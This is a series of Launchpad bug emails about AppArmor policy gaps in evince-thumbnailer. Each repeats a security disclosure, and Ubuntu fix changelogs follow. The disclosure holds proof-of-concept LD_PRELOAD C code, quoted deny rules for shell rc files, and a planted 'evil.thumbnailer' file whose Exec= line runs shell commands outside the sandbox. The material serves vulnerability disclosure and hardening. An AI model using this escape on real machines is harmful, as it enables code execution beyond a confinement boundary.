[Desktop-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
This bug was fixed in the package evince - 3.28.4-0ubuntu1.2 --- evince (3.28.4-0ubuntu1.2) bionic-security; urgency=medium * apparmor-profile: apply hardening from Ubuntu 18.10 - add preamble for expectations of the profile - evince{-previewer}: restrict access to DBus system bus (we allow full access to session, translation and accessibility buses for compatibility) + allow Get* to anything polkit allows + allow talking to avahi (for printing) + allow talking to colord (for printing) - make the thumbnailer more restrictive (LP: #1794848) (Closes: #909849) + remove evince abstraction and use only what is needed from it + limit access to DBus session bus + generally disallow writes + allow reads for non-hidden files * debian/apparmor-profile.abstraction: apply hardening from Ubuntu 18.10 - disallow access to the dirs of private files (LP: #1788929) * debian/apparmor-profile: allow /bin/env ixr -- Jamie Strandboge Tue, 18 Jun 2019 19:15:55 + ** Changed in: evince (Ubuntu Bionic) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1788929 Title: Debian/Ubuntu AppArmor policy gaps in evince Status in AppArmor: Fix Released Status in apparmor package in Ubuntu: Fix Released Status in evince package in Ubuntu: Fix Released Status in apparmor source package in Trusty: Fix Released Status in evince source package in Trusty: Won't Fix Status in apparmor source package in Xenial: Fix Released Status in evince source package in Xenial: Fix Released Status in apparmor source package in Bionic: Fix Released Status in evince source package in Bionic: Fix Released Status in apparmor source package in Cosmic: Fix Released Status in evince source package in Cosmic: Fix Released Bug description: [Note on coordination: I'm reporting this as a security bug to both Ubuntu (because Ubuntu is where this policy originally comes from, and Ubuntu is also where AppArmor is most relevant) and Debian (because the AppArmor policy has been merged into Debian's version of the package). It isn't clear to me who really counts as upstream here...] Debian/Ubuntu ship with an AppArmor policy for evince, which, among other things, restricts evince-thumbnailer. The Ubuntu security team seems to incorrectly believe that this policy provides meaningful security isolation: https://twitter.com/alex_murray/status/1032780425834446849 https://twitter.com/alex_murray/status/1032796879640190976 This AppArmor policy seems to be designed to permit everything that evince-thumbnailer might need; however, it does not seem to be designed to establish a consistent security boundary around evince-thumbnailer. For example, read+write access to almost the entire home directory is granted: /usr/bin/evince-thumbnailer { [...] # Lenient, but remember we still have abstractions/private-files-strict in # effect). @{HOME}/ r, owner @{HOME}/** rw, owner /media/** rw, } As the comment notes, a couple files are excluded to prevent you from just overwriting well-known executable scripts in the user's home directory, like ~/.bashrc: [...] # don't allow reading/updating of run control files deny @{HOME}/.*rc mrk, audit deny @{HOME}/.*rc wl, # bash deny @{HOME}/.bash* mrk, audit deny @{HOME}/.bash* wl, deny @{HOME}/.inputrc mrk, audit deny @{HOME}/.inputrc wl, [...] Verification: user@ubuntu-18-04-vm:~$ cat preload2.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); int fd = open("/home/user/.bashrc", O_WRONLY); if (fd != -1) { printf("success\n"); } else { perror("open .bashrc"); } exit(0); } user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer constructor running from evince-thumbnailer open .bashrc: Permission denied user@ubuntu-18-04-vm:~$ dmesg|tail -n1 [ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000 But of course blacklists are brittle and often trivially bypassable. For example, did you know that it is possible to override the system's thumbnailers by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain command lines that will be executed by nautilus. To demonstrate t
[Desktop-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
This bug was fixed in the package evince - 3.18.2-1ubuntu4.5 --- evince (3.18.2-1ubuntu4.5) xenial-security; urgency=medium * apparmor-profile: apply hardening from Ubuntu 18.10 - add preamble for expectations of the profile - evince{-previewer}: restrict access to DBus system bus (we allow full access to session, translation and accessibility buses for compatibility) + allow Get* to anything polkit allows + allow talking to avahi (for printing) + allow talking to colord (for printing) - make the thumbnailer more restrictive (LP: #1794848) (Closes: #909849) + remove evince abstraction and use only what is needed from it + limit access to DBus session bus + generally disallow writes + allow reads for non-hidden files * debian/apparmor-profile.abstraction: apply hardening from Ubuntu 18.10 - disallow access to the dirs of private files (LP: #1788929) * debian/apparmor-profile: allow /bin/env ixr -- Jamie Strandboge Tue, 18 Jun 2019 19:28:02 + ** Changed in: evince (Ubuntu Xenial) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1788929 Title: Debian/Ubuntu AppArmor policy gaps in evince Status in AppArmor: Fix Released Status in apparmor package in Ubuntu: Fix Released Status in evince package in Ubuntu: Fix Released Status in apparmor source package in Trusty: Fix Released Status in evince source package in Trusty: Won't Fix Status in apparmor source package in Xenial: Fix Released Status in evince source package in Xenial: Fix Released Status in apparmor source package in Bionic: Fix Released Status in evince source package in Bionic: In Progress Status in apparmor source package in Cosmic: Fix Released Status in evince source package in Cosmic: Fix Released Bug description: [Note on coordination: I'm reporting this as a security bug to both Ubuntu (because Ubuntu is where this policy originally comes from, and Ubuntu is also where AppArmor is most relevant) and Debian (because the AppArmor policy has been merged into Debian's version of the package). It isn't clear to me who really counts as upstream here...] Debian/Ubuntu ship with an AppArmor policy for evince, which, among other things, restricts evince-thumbnailer. The Ubuntu security team seems to incorrectly believe that this policy provides meaningful security isolation: https://twitter.com/alex_murray/status/1032780425834446849 https://twitter.com/alex_murray/status/1032796879640190976 This AppArmor policy seems to be designed to permit everything that evince-thumbnailer might need; however, it does not seem to be designed to establish a consistent security boundary around evince-thumbnailer. For example, read+write access to almost the entire home directory is granted: /usr/bin/evince-thumbnailer { [...] # Lenient, but remember we still have abstractions/private-files-strict in # effect). @{HOME}/ r, owner @{HOME}/** rw, owner /media/** rw, } As the comment notes, a couple files are excluded to prevent you from just overwriting well-known executable scripts in the user's home directory, like ~/.bashrc: [...] # don't allow reading/updating of run control files deny @{HOME}/.*rc mrk, audit deny @{HOME}/.*rc wl, # bash deny @{HOME}/.bash* mrk, audit deny @{HOME}/.bash* wl, deny @{HOME}/.inputrc mrk, audit deny @{HOME}/.inputrc wl, [...] Verification: user@ubuntu-18-04-vm:~$ cat preload2.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); int fd = open("/home/user/.bashrc", O_WRONLY); if (fd != -1) { printf("success\n"); } else { perror("open .bashrc"); } exit(0); } user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer constructor running from evince-thumbnailer open .bashrc: Permission denied user@ubuntu-18-04-vm:~$ dmesg|tail -n1 [ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000 But of course blacklists are brittle and often trivially bypassable. For example, did you know that it is possible to override the system's thumbnailers by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain command lines that will be executed by nautilus. To demonstrate th
[Desktop-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
Ubuntu 14.04 LTS is now out of standard support and evince is not included in ESM. ** Changed in: evince (Ubuntu Trusty) Status: In Progress => Won't Fix -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1788929 Title: Debian/Ubuntu AppArmor policy gaps in evince Status in AppArmor: Fix Released Status in apparmor package in Ubuntu: Fix Released Status in evince package in Ubuntu: Fix Released Status in apparmor source package in Trusty: Fix Released Status in evince source package in Trusty: Won't Fix Status in apparmor source package in Xenial: Fix Released Status in evince source package in Xenial: In Progress Status in apparmor source package in Bionic: Fix Released Status in evince source package in Bionic: In Progress Status in apparmor source package in Cosmic: Fix Released Status in evince source package in Cosmic: Fix Released Bug description: [Note on coordination: I'm reporting this as a security bug to both Ubuntu (because Ubuntu is where this policy originally comes from, and Ubuntu is also where AppArmor is most relevant) and Debian (because the AppArmor policy has been merged into Debian's version of the package). It isn't clear to me who really counts as upstream here...] Debian/Ubuntu ship with an AppArmor policy for evince, which, among other things, restricts evince-thumbnailer. The Ubuntu security team seems to incorrectly believe that this policy provides meaningful security isolation: https://twitter.com/alex_murray/status/1032780425834446849 https://twitter.com/alex_murray/status/1032796879640190976 This AppArmor policy seems to be designed to permit everything that evince-thumbnailer might need; however, it does not seem to be designed to establish a consistent security boundary around evince-thumbnailer. For example, read+write access to almost the entire home directory is granted: /usr/bin/evince-thumbnailer { [...] # Lenient, but remember we still have abstractions/private-files-strict in # effect). @{HOME}/ r, owner @{HOME}/** rw, owner /media/** rw, } As the comment notes, a couple files are excluded to prevent you from just overwriting well-known executable scripts in the user's home directory, like ~/.bashrc: [...] # don't allow reading/updating of run control files deny @{HOME}/.*rc mrk, audit deny @{HOME}/.*rc wl, # bash deny @{HOME}/.bash* mrk, audit deny @{HOME}/.bash* wl, deny @{HOME}/.inputrc mrk, audit deny @{HOME}/.inputrc wl, [...] Verification: user@ubuntu-18-04-vm:~$ cat preload2.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); int fd = open("/home/user/.bashrc", O_WRONLY); if (fd != -1) { printf("success\n"); } else { perror("open .bashrc"); } exit(0); } user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer constructor running from evince-thumbnailer open .bashrc: Permission denied user@ubuntu-18-04-vm:~$ dmesg|tail -n1 [ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000 But of course blacklists are brittle and often trivially bypassable. For example, did you know that it is possible to override the system's thumbnailers by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain command lines that will be executed by nautilus. To demonstrate that it is possible to create .thumbnailer files from evince-thumbnailer: user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/ ls: cannot access '.local/share/thumbnailers/': No such file or directory user@ubuntu-18-04-vm:~$ cat preload3.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST) err(1, "mkdir"); FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer", "w"); if (!f) err(1, "create"); fputs("[Thumbnailer Entry]\n", f); fputs("Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c id;cat [...] } As a comment in abstractions/dbus-session explains: # This abstraction grants full session bus access. Co
[Desktop-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
This bug was fixed in the package apparmor - 2.10.95-0ubuntu2.10 --- apparmor (2.10.95-0ubuntu2.10) xenial-security; urgency=medium * lp1788929+1794848.patch: - disallow writes to thumbnailer dir (LP: #1788929) - disallow access to the dirs of private files (LP: #1794848) -- Jamie Strandboge Thu, 27 Sep 2018 18:23:46 + ** Changed in: apparmor (Ubuntu Xenial) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1788929 Title: Debian/Ubuntu AppArmor policy gaps in evince Status in AppArmor: Fix Released Status in apparmor package in Ubuntu: Fix Released Status in evince package in Ubuntu: Fix Released Status in apparmor source package in Trusty: Fix Released Status in evince source package in Trusty: In Progress Status in apparmor source package in Xenial: Fix Released Status in evince source package in Xenial: In Progress Status in apparmor source package in Bionic: Fix Released Status in evince source package in Bionic: In Progress Status in apparmor source package in Cosmic: Fix Released Status in evince source package in Cosmic: Fix Released Bug description: [Note on coordination: I'm reporting this as a security bug to both Ubuntu (because Ubuntu is where this policy originally comes from, and Ubuntu is also where AppArmor is most relevant) and Debian (because the AppArmor policy has been merged into Debian's version of the package). It isn't clear to me who really counts as upstream here...] Debian/Ubuntu ship with an AppArmor policy for evince, which, among other things, restricts evince-thumbnailer. The Ubuntu security team seems to incorrectly believe that this policy provides meaningful security isolation: https://twitter.com/alex_murray/status/1032780425834446849 https://twitter.com/alex_murray/status/1032796879640190976 This AppArmor policy seems to be designed to permit everything that evince-thumbnailer might need; however, it does not seem to be designed to establish a consistent security boundary around evince-thumbnailer. For example, read+write access to almost the entire home directory is granted: /usr/bin/evince-thumbnailer { [...] # Lenient, but remember we still have abstractions/private-files-strict in # effect). @{HOME}/ r, owner @{HOME}/** rw, owner /media/** rw, } As the comment notes, a couple files are excluded to prevent you from just overwriting well-known executable scripts in the user's home directory, like ~/.bashrc: [...] # don't allow reading/updating of run control files deny @{HOME}/.*rc mrk, audit deny @{HOME}/.*rc wl, # bash deny @{HOME}/.bash* mrk, audit deny @{HOME}/.bash* wl, deny @{HOME}/.inputrc mrk, audit deny @{HOME}/.inputrc wl, [...] Verification: user@ubuntu-18-04-vm:~$ cat preload2.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); int fd = open("/home/user/.bashrc", O_WRONLY); if (fd != -1) { printf("success\n"); } else { perror("open .bashrc"); } exit(0); } user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer constructor running from evince-thumbnailer open .bashrc: Permission denied user@ubuntu-18-04-vm:~$ dmesg|tail -n1 [ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000 But of course blacklists are brittle and often trivially bypassable. For example, did you know that it is possible to override the system's thumbnailers by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain command lines that will be executed by nautilus. To demonstrate that it is possible to create .thumbnailer files from evince-thumbnailer: user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/ ls: cannot access '.local/share/thumbnailers/': No such file or directory user@ubuntu-18-04-vm:~$ cat preload3.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST) err(1, "mkdir"); FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer", "w"); i
[Desktop-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
This bug was fixed in the package apparmor - 2.12-4ubuntu5.1 --- apparmor (2.12-4ubuntu5.1) bionic-security; urgency=medium * lp1788929+1794848.patch: - disallow writes to thumbnailer dir (LP: #1788929) - disallow access to the dirs of private files (LP: #1794848) -- Jamie Strandboge Thu, 27 Sep 2018 18:20:54 + ** Changed in: apparmor (Ubuntu Bionic) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1788929 Title: Debian/Ubuntu AppArmor policy gaps in evince Status in AppArmor: Fix Released Status in apparmor package in Ubuntu: Fix Released Status in evince package in Ubuntu: Fix Released Status in apparmor source package in Trusty: Fix Released Status in evince source package in Trusty: In Progress Status in apparmor source package in Xenial: Fix Committed Status in evince source package in Xenial: In Progress Status in apparmor source package in Bionic: Fix Released Status in evince source package in Bionic: In Progress Status in apparmor source package in Cosmic: Fix Released Status in evince source package in Cosmic: Fix Released Bug description: [Note on coordination: I'm reporting this as a security bug to both Ubuntu (because Ubuntu is where this policy originally comes from, and Ubuntu is also where AppArmor is most relevant) and Debian (because the AppArmor policy has been merged into Debian's version of the package). It isn't clear to me who really counts as upstream here...] Debian/Ubuntu ship with an AppArmor policy for evince, which, among other things, restricts evince-thumbnailer. The Ubuntu security team seems to incorrectly believe that this policy provides meaningful security isolation: https://twitter.com/alex_murray/status/1032780425834446849 https://twitter.com/alex_murray/status/1032796879640190976 This AppArmor policy seems to be designed to permit everything that evince-thumbnailer might need; however, it does not seem to be designed to establish a consistent security boundary around evince-thumbnailer. For example, read+write access to almost the entire home directory is granted: /usr/bin/evince-thumbnailer { [...] # Lenient, but remember we still have abstractions/private-files-strict in # effect). @{HOME}/ r, owner @{HOME}/** rw, owner /media/** rw, } As the comment notes, a couple files are excluded to prevent you from just overwriting well-known executable scripts in the user's home directory, like ~/.bashrc: [...] # don't allow reading/updating of run control files deny @{HOME}/.*rc mrk, audit deny @{HOME}/.*rc wl, # bash deny @{HOME}/.bash* mrk, audit deny @{HOME}/.bash* wl, deny @{HOME}/.inputrc mrk, audit deny @{HOME}/.inputrc wl, [...] Verification: user@ubuntu-18-04-vm:~$ cat preload2.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); int fd = open("/home/user/.bashrc", O_WRONLY); if (fd != -1) { printf("success\n"); } else { perror("open .bashrc"); } exit(0); } user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer constructor running from evince-thumbnailer open .bashrc: Permission denied user@ubuntu-18-04-vm:~$ dmesg|tail -n1 [ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000 But of course blacklists are brittle and often trivially bypassable. For example, did you know that it is possible to override the system's thumbnailers by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain command lines that will be executed by nautilus. To demonstrate that it is possible to create .thumbnailer files from evince-thumbnailer: user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/ ls: cannot access '.local/share/thumbnailers/': No such file or directory user@ubuntu-18-04-vm:~$ cat preload3.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST) err(1, "mkdir"); FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer", "w"); if (!f)
[Desktop-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
This bug was fixed in the package apparmor - 2.10.95-0ubuntu2.6~14.04.4 --- apparmor (2.10.95-0ubuntu2.6~14.04.4) trusty-security; urgency=medium * {,14.04-}lp1788929+1794848.patch: - disallow writes to thumbnailer dir (LP: #1788929) - disallow access to the dirs of private files (LP: #1794848) -- Jamie Strandboge Thu, 27 Sep 2018 18:38:50 + ** Changed in: apparmor (Ubuntu Trusty) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1788929 Title: Debian/Ubuntu AppArmor policy gaps in evince Status in AppArmor: Fix Released Status in apparmor package in Ubuntu: Fix Released Status in evince package in Ubuntu: Fix Released Status in apparmor source package in Trusty: Fix Released Status in evince source package in Trusty: In Progress Status in apparmor source package in Xenial: Fix Committed Status in evince source package in Xenial: In Progress Status in apparmor source package in Bionic: Fix Committed Status in evince source package in Bionic: In Progress Status in apparmor source package in Cosmic: Fix Released Status in evince source package in Cosmic: Fix Released Bug description: [Note on coordination: I'm reporting this as a security bug to both Ubuntu (because Ubuntu is where this policy originally comes from, and Ubuntu is also where AppArmor is most relevant) and Debian (because the AppArmor policy has been merged into Debian's version of the package). It isn't clear to me who really counts as upstream here...] Debian/Ubuntu ship with an AppArmor policy for evince, which, among other things, restricts evince-thumbnailer. The Ubuntu security team seems to incorrectly believe that this policy provides meaningful security isolation: https://twitter.com/alex_murray/status/1032780425834446849 https://twitter.com/alex_murray/status/1032796879640190976 This AppArmor policy seems to be designed to permit everything that evince-thumbnailer might need; however, it does not seem to be designed to establish a consistent security boundary around evince-thumbnailer. For example, read+write access to almost the entire home directory is granted: /usr/bin/evince-thumbnailer { [...] # Lenient, but remember we still have abstractions/private-files-strict in # effect). @{HOME}/ r, owner @{HOME}/** rw, owner /media/** rw, } As the comment notes, a couple files are excluded to prevent you from just overwriting well-known executable scripts in the user's home directory, like ~/.bashrc: [...] # don't allow reading/updating of run control files deny @{HOME}/.*rc mrk, audit deny @{HOME}/.*rc wl, # bash deny @{HOME}/.bash* mrk, audit deny @{HOME}/.bash* wl, deny @{HOME}/.inputrc mrk, audit deny @{HOME}/.inputrc wl, [...] Verification: user@ubuntu-18-04-vm:~$ cat preload2.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); int fd = open("/home/user/.bashrc", O_WRONLY); if (fd != -1) { printf("success\n"); } else { perror("open .bashrc"); } exit(0); } user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer constructor running from evince-thumbnailer open .bashrc: Permission denied user@ubuntu-18-04-vm:~$ dmesg|tail -n1 [ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000 But of course blacklists are brittle and often trivially bypassable. For example, did you know that it is possible to override the system's thumbnailers by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain command lines that will be executed by nautilus. To demonstrate that it is possible to create .thumbnailer files from evince-thumbnailer: user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/ ls: cannot access '.local/share/thumbnailers/': No such file or directory user@ubuntu-18-04-vm:~$ cat preload3.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST) err(1, "mkdir"); FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.t
[Desktop-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
I referenced the wrong bug in the evince upload so it didn't auto-close, but 3.30.0-3ubuntu1 should address this. ** Changed in: evince (Ubuntu Cosmic) Status: Fix Committed => Fix Released ** Changed in: evince (Ubuntu Trusty) Status: Triaged => In Progress ** Changed in: evince (Ubuntu Xenial) Status: Triaged => In Progress ** Changed in: evince (Ubuntu Bionic) Status: Triaged => In Progress -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1788929 Title: Debian/Ubuntu AppArmor policy gaps in evince Status in AppArmor: Fix Released Status in apparmor package in Ubuntu: Fix Released Status in evince package in Ubuntu: Fix Released Status in apparmor source package in Trusty: Fix Committed Status in evince source package in Trusty: In Progress Status in apparmor source package in Xenial: Fix Committed Status in evince source package in Xenial: In Progress Status in apparmor source package in Bionic: Fix Committed Status in evince source package in Bionic: In Progress Status in apparmor source package in Cosmic: Fix Released Status in evince source package in Cosmic: Fix Released Bug description: [Note on coordination: I'm reporting this as a security bug to both Ubuntu (because Ubuntu is where this policy originally comes from, and Ubuntu is also where AppArmor is most relevant) and Debian (because the AppArmor policy has been merged into Debian's version of the package). It isn't clear to me who really counts as upstream here...] Debian/Ubuntu ship with an AppArmor policy for evince, which, among other things, restricts evince-thumbnailer. The Ubuntu security team seems to incorrectly believe that this policy provides meaningful security isolation: https://twitter.com/alex_murray/status/1032780425834446849 https://twitter.com/alex_murray/status/1032796879640190976 This AppArmor policy seems to be designed to permit everything that evince-thumbnailer might need; however, it does not seem to be designed to establish a consistent security boundary around evince-thumbnailer. For example, read+write access to almost the entire home directory is granted: /usr/bin/evince-thumbnailer { [...] # Lenient, but remember we still have abstractions/private-files-strict in # effect). @{HOME}/ r, owner @{HOME}/** rw, owner /media/** rw, } As the comment notes, a couple files are excluded to prevent you from just overwriting well-known executable scripts in the user's home directory, like ~/.bashrc: [...] # don't allow reading/updating of run control files deny @{HOME}/.*rc mrk, audit deny @{HOME}/.*rc wl, # bash deny @{HOME}/.bash* mrk, audit deny @{HOME}/.bash* wl, deny @{HOME}/.inputrc mrk, audit deny @{HOME}/.inputrc wl, [...] Verification: user@ubuntu-18-04-vm:~$ cat preload2.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); int fd = open("/home/user/.bashrc", O_WRONLY); if (fd != -1) { printf("success\n"); } else { perror("open .bashrc"); } exit(0); } user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer constructor running from evince-thumbnailer open .bashrc: Permission denied user@ubuntu-18-04-vm:~$ dmesg|tail -n1 [ 6900.355399] audit: type=1400 audit(1535126396.280:113): apparmor="DENIED" operation="open" profile="/usr/bin/evince-thumbnailer" name="/home/user/.bashrc" pid=4807 comm="evince-thumbnai" requested_mask="w" denied_mask="w" fsuid=1000 ouid=1000 But of course blacklists are brittle and often trivially bypassable. For example, did you know that it is possible to override the system's thumbnailers by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain command lines that will be executed by nautilus. To demonstrate that it is possible to create .thumbnailer files from evince-thumbnailer: user@ubuntu-18-04-vm:~$ ls -la .local/share/thumbnailers/ ls: cannot access '.local/share/thumbnailers/': No such file or directory user@ubuntu-18-04-vm:~$ cat preload3.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); if (mkdir("/home/user/.local/share/thumbnailers", 0777) && errno != EEXIST) err(1, "mkdir"); FILE *f = fopen("/home/user/.local/share/thumbnailers/evil.thumbnailer", "w"); if (!f)
[Desktop-packages] [Bug 1788929] Re: Debian/Ubuntu AppArmor policy gaps in evince
Since it was discussed here, the bug for enabling bubblewrap for gnome- desktop3 for bionic is LP: #1795668 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1788929 Title: Debian/Ubuntu AppArmor policy gaps in evince Status in AppArmor: Fix Released Status in apparmor package in Ubuntu: Fix Released Status in evince package in Ubuntu: Fix Committed Status in apparmor source package in Trusty: Fix Committed Status in evince source package in Trusty: Triaged Status in apparmor source package in Xenial: Fix Committed Status in evince source package in Xenial: Triaged Status in apparmor source package in Bionic: Fix Committed Status in evince source package in Bionic: Triaged Status in apparmor source package in Cosmic: Fix Released Status in evince source package in Cosmic: Fix Committed Bug description: [Note on coordination: I'm reporting this as a security bug to both Ubuntu (because Ubuntu is where this policy originally comes from, and Ubuntu is also where AppArmor is most relevant) and Debian (because the AppArmor policy has been merged into Debian's version of the package). It isn't clear to me who really counts as upstream here...] Debian/Ubuntu ship with an AppArmor policy for evince, which, among other things, restricts evince-thumbnailer. The Ubuntu security team seems to incorrectly believe that this policy provides meaningful security isolation: https://twitter.com/alex_murray/status/1032780425834446849 https://twitter.com/alex_murray/status/1032796879640190976 This AppArmor policy seems to be designed to permit everything that evince-thumbnailer might need; however, it does not seem to be designed to establish a consistent security boundary around evince-thumbnailer. For example, read+write access to almost the entire home directory is granted: /usr/bin/evince-thumbnailer { [...] # Lenient, but remember we still have abstractions/private-files-strict in # effect). @{HOME}/ r, owner @{HOME}/** rw, owner /media/** rw, } As the comment notes, a couple files are excluded to prevent you from just overwriting well-known executable scripts in the user's home directory, like ~/.bashrc: [...] # don't allow reading/updating of run control files deny @{HOME}/.*rc mrk, audit deny @{HOME}/.*rc wl, # bash deny @{HOME}/.bash* mrk, audit deny @{HOME}/.bash* wl, deny @{HOME}/.inputrc mrk, audit deny @{HOME}/.inputrc wl, [...] Verification: user@ubuntu-18-04-vm:~$ cat preload2.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include __attribute__((constructor)) static void entry(void) { printf("constructor running from %s\n", program_invocation_name); int fd = open("/home/user/.bashrc", O_WRONLY); if (fd != -1) { printf("success\n"); } else { perror("open .bashrc"); } exit(0); } user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libevil_preload.so preload2.c -fPIC user@ubuntu-18-04-vm:~$ LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libevil_preload.so evince-thumbnailer constructor running from evince-thumbnailer open .bashrc: Permission denied user@ubuntu-18-04-vm:~$ dmesg|tail -n1 [ 